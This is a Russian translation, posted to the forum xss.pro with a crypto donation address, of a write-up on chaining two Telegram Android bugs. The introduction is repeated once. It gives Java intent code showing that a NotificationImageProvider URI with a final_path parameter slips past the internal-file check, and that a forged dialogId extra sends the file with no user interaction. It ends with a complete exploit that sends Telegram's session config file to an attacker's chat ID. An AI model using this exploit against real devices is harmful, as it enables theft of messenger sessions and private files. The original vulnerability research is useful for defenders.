ОРИГИНАЛЬНАЯ СТАТЬЯ
ПЕРЕВЕДЕНО СПЕЦИАЛЬНО ДЛЯ xss.pro плюс немного отсебятины для нашего развития
$10 на gas для Jolah Molivski ---> 0x5B1f2Ac9cF5616D9d7F1819d1519912e85eb5C09
Мы обсудим цепочку двух багов в андроид-приложении Telegram, из-за которых вредоносные приложения могут воровать внутренние файлы Telegram, включая сессию.
Как мы видим в <intent-filter>, LaunchActivity в телеграмм могут обрабатывать данные с mimeType: video/*, image/*, text/plain, */*
Прежде чем углубляться в то, как эта функция может работать неправильно, мы должны выяснить что происходит при отправке изображения в приложение, или что происходит в вашем приложении галереи, когда вы решили поделиться изображением, вот пример
Приведенный выше код показывает, что именно отправляется в любую активность общего доступа, он отправляет Uri файла, но не содержимого файла, и когда LaunchActivity в телеграмме получает, что Uri файл будет открыт в контексте телеграммы и покажет пользователю активность списка чатов, чтобы пользователь мог выбрать чат для отправки файла.
Теперь, это хорошая идея, чтобы обмануть приложение телеграммы и вместо отправки Uri файла на SD-карте, мы отправим путь к внутреннему файлу в телеграмме.
приведенный выше код приказывает приложению телеграммы поделиться /data/data/org.telegram.messenger/shared_prefs/userconfing.xml файл для чата, но при запуске этого кода телеграмма показывает тост с сообщением: Unsupported content.
происходит проверка если Uri ссылается на внутренний файл методом AndroidUtilities.isInternalUri:
Неделю пытался обойти этот метод, безрезультатно. Хм, расслабьтесь нам не нужно обходить этот метод, чтобы завершить атаку!
Как телеграмм на самом деле открывает файл из Uri который мы отправили? на самом деле, после Uri следует метод isInternalUri на который он будет пересылать copyFileToCache, название его понятно, он скопирует файл в кеш, но как?
Он открывает Uriпо openInputStream, а это значит, что он может открыть Uri, это дает нам возможность отправить провайдеру Uri вместо файловой схемы Uri.
Я проверил поставщиков телеграмм и нашел поставщика, который может ссылаться на внутренний файл телеграммы и передавать isInternalUri. Проверьте.
в openFile берет путь к файлу из параметра final_path и возвращает ParcelFileDescriptor этого файла.
Следующий поставщик Uri content://org.telegram.messenger.notification_image_provider/msg_media_raw/1/test.txt?final_path=/data/data/org.telegram.messenger/shared_prefs/userconfing.xmlотносится к /data/data/org.telegram.messenger/shared_prefs/userconfing.xml
И это проходит методом isInternalUri
Приведенный выше код заставит телеграмм открыть внутренний файл и поделиться им в чате, но в каком чате? Это по-прежнему требует интенсивного взаимодействия, которое заставляет пользователя выбирать чат злоумышленника. Невозможно.
ChooserTargetService— это новая функция, появившаяся в Android API 7 лет назад. Во всплывающем окне, которое показывает вам все приложения, в которые вы можете отправить свой файл, что-то новое появилось в этом списке, который представляет собой список конкретных людей в. конкретных приложений, вы можете отправить им файл напрямую, нажав на их изображения.
Чтобы реализовать эту функцию в своем приложении, вы реализуете новую службу, которая расширяет ChooserTargetService и он будет использоваться, чтобы сообщить ОС об элементах или людях, которые нужно перечислить в этом всплывающем окне:
И в действии «Общий доступ» вам придется обрабатывать новую дополнительную информацию, и эта дополнительная функция будет идентификатором чата или идентификатором потока для отправки контента непосредственно в него.
Но этой реализации не хватает безопасности. Как SharingActivity знает, было ли намерение прямого обмена заполнено или нет? Если какое-либо приложение отправляет намерение обмена в его реализацию и устанавливает дополнительный идентификатор целевого чата для любого идентификатора чата, приложение отправит файл непосредственно в этот чат без взаимодействия с пользователем!
У Telegram была такая же проблема, отправив dialogId дополнительно с любым идентификатором чата в приложение телеграммы, оно отправит сообщение или файл прямо в этот чат без какого-либо взаимодействия с пользователем.
Приведенный выше код будет использовать две ошибки и отправлять /data/data/org.telegram.messenger/shared_prefs/userconfing.xml файлу id 100000000 напрямую без взаимодействия с пользователем. Чтобы воспроизвести полный эксплойт, понизьте версию телеграммы до 5.4.0.
ПЕРЕВЕДЕНО СПЕЦИАЛЬНО ДЛЯ xss.pro плюс немного отсебятины для нашего развития
$10 на gas для Jolah Molivski ---> 0x5B1f2Ac9cF5616D9d7F1819d1519912e85eb5C09
Мы обсудим цепочку двух багов в андроид-приложении Telegram, из-за которых вредоносные приложения могут воровать внутренние файлы Telegram, включая сессию.
Совместное использование
Почти во всех мессенджерах есть активность, которая может получать контент любого типа, такой как изображения, видео, текст и т. д., и пересылать этот контент в чат или ветку в приложении. Например, откройте галерею на своем телефоне, выберите фотографию, нажмите «Поделиться» или «Открыть с помощью», вы увидите всплывающее окно с некоторыми приложениями на вашем устройстве, эти приложения появляются, потому что все они имеют общий доступ. активность, которая может получать изображения, точно так же, как телеграмм:
Код:
<activity
android:name="org.telegram.ui.LaunchActivity"
android:configChanges="keyboard|keyboardHidden|orientation|screenSize|uiMode"
android:hardwareAccelerated="@bool/useHardwareAcceleration"
android:launchMode="singleTask"
android:windowSoftInputMode="adjustPan">
.......
<intent-filter>
<action android:name="android.intent.action.SEND"/>
<category android:name="android.intent.category.DEFAULT"/>
<data android:mimeType="image/*"/>
</intent-filter>
<intent-filter>
<action android:name="android.intent.action.SEND"/>
<category android:name="android.intent.category.DEFAULT"/>
<data android:mimeType="video/*"/>
</intent-filter>
<intent-filter>
<action android:name="android.intent.action.SEND_MULTIPLE"/>
<category android:name="android.intent.category.DEFAULT"/>
<data android:mimeType="image/*"/>
</intent-filter>
<intent-filter>
<action android:name="android.intent.action.SEND"/>
<category android:name="android.intent.category.DEFAULT"/>
<data android:mimeType="text/plain"/>
</intent-filter>
<intent-filter>
<action android:name="android.intent.action.SEND"/>
<category android:name="android.intent.category.DEFAULT"/>
<data android:mimeType="*/*"/>
</intent-filter>
<intent-filter>
<action android:name="android.intent.action.SEND_MULTIPLE"/>
<category android:name="android.intent.category.DEFAULT"/>
<data android:mimeType="*/*"/>
</intent-filter>
........
</activity>
Как мы видим в <intent-filter>, LaunchActivity в телеграмм могут обрабатывать данные с mimeType: video/*, image/*, text/plain, */*
Функция ошибки безопасности
Прежде чем углубляться в то, как эта функция может работать неправильно, мы должны выяснить что происходит при отправке изображения в приложение, или что происходит в вашем приложении галереи, когда вы решили поделиться изображением, вот пример
Код:
final Intent shareIntent = new Intent(Intent.ACTION_SEND);
shareIntent.setType("image/jpg");
shareIntent.setComponent(new ComponentName("org.telegram.messenger", "org.telegram.ui.LaunchActivity"));
shareIntent.putExtra(Intent.EXTRA_STREAM, Uri.parse("file:///sdcard/Images/sayed.jpg"));
startActivity(Intent.createChooser(shareIntent, "Share image using"));
Приведенный выше код показывает, что именно отправляется в любую активность общего доступа, он отправляет Uri файла, но не содержимого файла, и когда LaunchActivity в телеграмме получает, что Uri файл будет открыт в контексте телеграммы и покажет пользователю активность списка чатов, чтобы пользователь мог выбрать чат для отправки файла.
Теперь, это хорошая идея, чтобы обмануть приложение телеграммы и вместо отправки Uri файла на SD-карте, мы отправим путь к внутреннему файлу в телеграмме.
Можешь обойти?
Код:
final Intent shareIntent = new Intent(Intent.ACTION_SEND);
shareIntent.setType("image/jpg");
shareIntent.setComponent(new ComponentName("org.telegram.messenger", "org.telegram.ui.LaunchActivity"));
shareIntent.putExtra(Intent.EXTRA_STREAM, Uri.parse("file:///data/data/org.telegram.messenger/shared_prefs/userconfing.xml"));
startActivity(Intent.createChooser(shareIntent, "Share image using"));
приведенный выше код приказывает приложению телеграммы поделиться /data/data/org.telegram.messenger/shared_prefs/userconfing.xml файл для чата, но при запуске этого кода телеграмма показывает тост с сообщением: Unsupported content.
Код:
private boolean handleIntent(Intent intent, boolean isNew, boolean restore, boolean fromPassword) {
.......
Parcelable parcelable = intent.getParcelableExtra(Intent.EXTRA_STREAM);
if (parcelable != null) {
String path;
if (!(parcelable instanceof Uri)) {
parcelable = Uri.parse(parcelable.toString());
}
Uri uri = (Uri) parcelable;
if (uri != null) {
if (AndroidUtilities.isInternalUri(uri)) {
error = true;
}
}
if (!error) {
....
}
} else if (....) {
....
}
}
if (error) {
Toast.makeText(this, "Unsupported content", Toast.LENGTH_SHORT).show();
}
.......
}
происходит проверка если Uri ссылается на внутренний файл методом AndroidUtilities.isInternalUri:
Код:
public static boolean isInternalUri(Uri uri) {
String pathString = uri.getPath();
if (pathString == null) {
return false;
}
// Allow sending VoIP logs from cache/voip_logs
if (pathString.matches(Pattern.quote(new File(ApplicationLoader.applicationContext.getCacheDir(), "voip_logs").getAbsolutePath()) + "/\\d+\\.log")) {
return false;
}
int tries = 0;
while (true) {
if (pathString != null && pathString.length() > 4096) {
return true;
}
String newPath;
try {
newPath = Utilities.readlink(pathString);
} catch (Throwable e) {
return true;
}
if (newPath == null || newPath.equals(pathString)) {
break;
}
pathString = newPath;
tries++;
if (tries >= 10) {
return true;
}
}
if (pathString != null) {
try {
String path = new File(pathString).getCanonicalPath();
if (path != null) {
pathString = path;
}
} catch (Exception e) {
pathString.replace("/./", "/");
//igonre
}
}
if (pathString.endsWith(".attheme")) {
return false;
}
return pathString != null && pathString.toLowerCase().contains("/data/data/" + ApplicationLoader.applicationContext.getPackageName());
}
Неделю пытался обойти этот метод, безрезультатно. Хм, расслабьтесь нам не нужно обходить этот метод, чтобы завершить атаку!
Как телеграмм на самом деле открывает файл из Uri который мы отправили? на самом деле, после Uri следует метод isInternalUri на который он будет пересылать copyFileToCache, название его понятно, он скопирует файл в кеш, но как?
Код:
public static String copyFileToCache(Uri uri, String ext) {
........
inputStream = ApplicationLoader.applicationContext.getContentResolver().openInputStream(uri);
........
}
Он открывает Uriпо openInputStream, а это значит, что он может открыть Uri, это дает нам возможность отправить провайдеру Uri вместо файловой схемы Uri.
Я проверил поставщиков телеграмм и нашел поставщика, который может ссылаться на внутренний файл телеграммы и передавать isInternalUri. Проверьте.
Код:
<provider
android:authorities="${applicationId}.notification_image_provider"
android:name=".NotificationImageProvider"
android:exported="false"
android:grantUriPermissions="true"/>
Код:
@Nullable
@Override
public ParcelFileDescriptor openFile(@NonNull Uri uri, @NonNull String mode) throws FileNotFoundException {
........
if (matcher.match(uri) == 1) { // content://org.telegram..../msg_media_raw/account/filename.ext
........
String finalPath = uri.getQueryParameter("final_path");
........
if (finalFile.exists()) {
return ParcelFileDescriptor.open(finalFile, ParcelFileDescriptor.MODE_READ_ONLY);
........
в openFile берет путь к файлу из параметра final_path и возвращает ParcelFileDescriptor этого файла.
Следующий поставщик Uri content://org.telegram.messenger.notification_image_provider/msg_media_raw/1/test.txt?final_path=/data/data/org.telegram.messenger/shared_prefs/userconfing.xmlотносится к /data/data/org.telegram.messenger/shared_prefs/userconfing.xml
И это проходит методом isInternalUri
Код:
final Intent shareIntent = new Intent(Intent.ACTION_SEND);
shareIntent.setType("image/jpg");
shareIntent.setComponent(new ComponentName("org.telegram.messenger", "org.telegram.ui.LaunchActivity"));
shareIntent.putExtra(Intent.EXTRA_STREAM, Uri.parse("content://org.telegram.messenger.notification_image_provider/msg_media_raw/1/test.txt?final_path=/data/data/org.telegram.messenger/shared_prefs/userconfing.xml"));
startActivity(Intent.createChooser(shareIntent, "Share image using"));
Приведенный выше код заставит телеграмм открыть внутренний файл и поделиться им в чате, но в каком чате? Это по-прежнему требует интенсивного взаимодействия, которое заставляет пользователя выбирать чат злоумышленника. Невозможно.
Новая функция, плохая реализация.
ChooserTargetService— это новая функция, появившаяся в Android API 7 лет назад. Во всплывающем окне, которое показывает вам все приложения, в которые вы можете отправить свой файл, что-то новое появилось в этом списке, который представляет собой список конкретных людей в. конкретных приложений, вы можете отправить им файл напрямую, нажав на их изображения.
Чтобы реализовать эту функцию в своем приложении, вы реализуете новую службу, которая расширяет ChooserTargetService и он будет использоваться, чтобы сообщить ОС об элементах или людях, которые нужно перечислить в этом всплывающем окне:
Код:
public class SampleChooserTargetService extends ChooserTargetService {
@Override
public List<ChooserTarget> onGetChooserTargets(ComponentName targetActivityName, IntentFilter matchedFilter) {
final List<ChooserTarget> targets = new ArrayList<>();
for (int i = 0; i < length; i++) {
final String targetName = ...
final Icon targetIcon = ...
final float targetRanking = ...
final ComponentName targetComponentName = ...
final Bundle targetExtras = ...
targets.add(new ChooserTarget(
targetName, targetIcon, targetRanking, targetComponentName, targetExtras
));
}
return targets;
}
}
И в действии «Общий доступ» вам придется обрабатывать новую дополнительную информацию, и эта дополнительная функция будет идентификатором чата или идентификатором потока для отправки контента непосредственно в него.
Но этой реализации не хватает безопасности. Как SharingActivity знает, было ли намерение прямого обмена заполнено или нет? Если какое-либо приложение отправляет намерение обмена в его реализацию и устанавливает дополнительный идентификатор целевого чата для любого идентификатора чата, приложение отправит файл непосредственно в этот чат без взаимодействия с пользователем!
У Telegram была такая же проблема, отправив dialogId дополнительно с любым идентификатором чата в приложение телеграммы, оно отправит сообщение или файл прямо в этот чат без какого-либо взаимодействия с пользователем.
Последний эксплойт
Код:
String CacheFileName = UUID.randomUUID().toString();
String FileToSteal = "/data/data/org.telegram.messenger/shared_prefs/userconfing.xml";
Intent intent = new Intent();
intent.setAction(Intent.ACTION_SEND);
intent.setType("application/octet-stream");
intetn.putExtra("dialogId", 100000000);
intent.setComponent(new ComponentName("org.telegram.messenger", "org.telegram.ui.LaunchActivity"));
intent.putExtra(Intent.EXTRA_STREAM, Uri.parse("content://org.telegram.messenger.notification_image_provider/msg_media_raw/1/"+CacheFileName+".txt?final_path="+FileToSteal));
startActivity(intent);
Приведенный выше код будет использовать две ошибки и отправлять /data/data/org.telegram.messenger/shared_prefs/userconfing.xml файлу id 100000000 напрямую без взаимодействия с пользователем. Чтобы воспроизвести полный эксплойт, понизьте версию телеграммы до 5.4.0.
Последнее редактирование: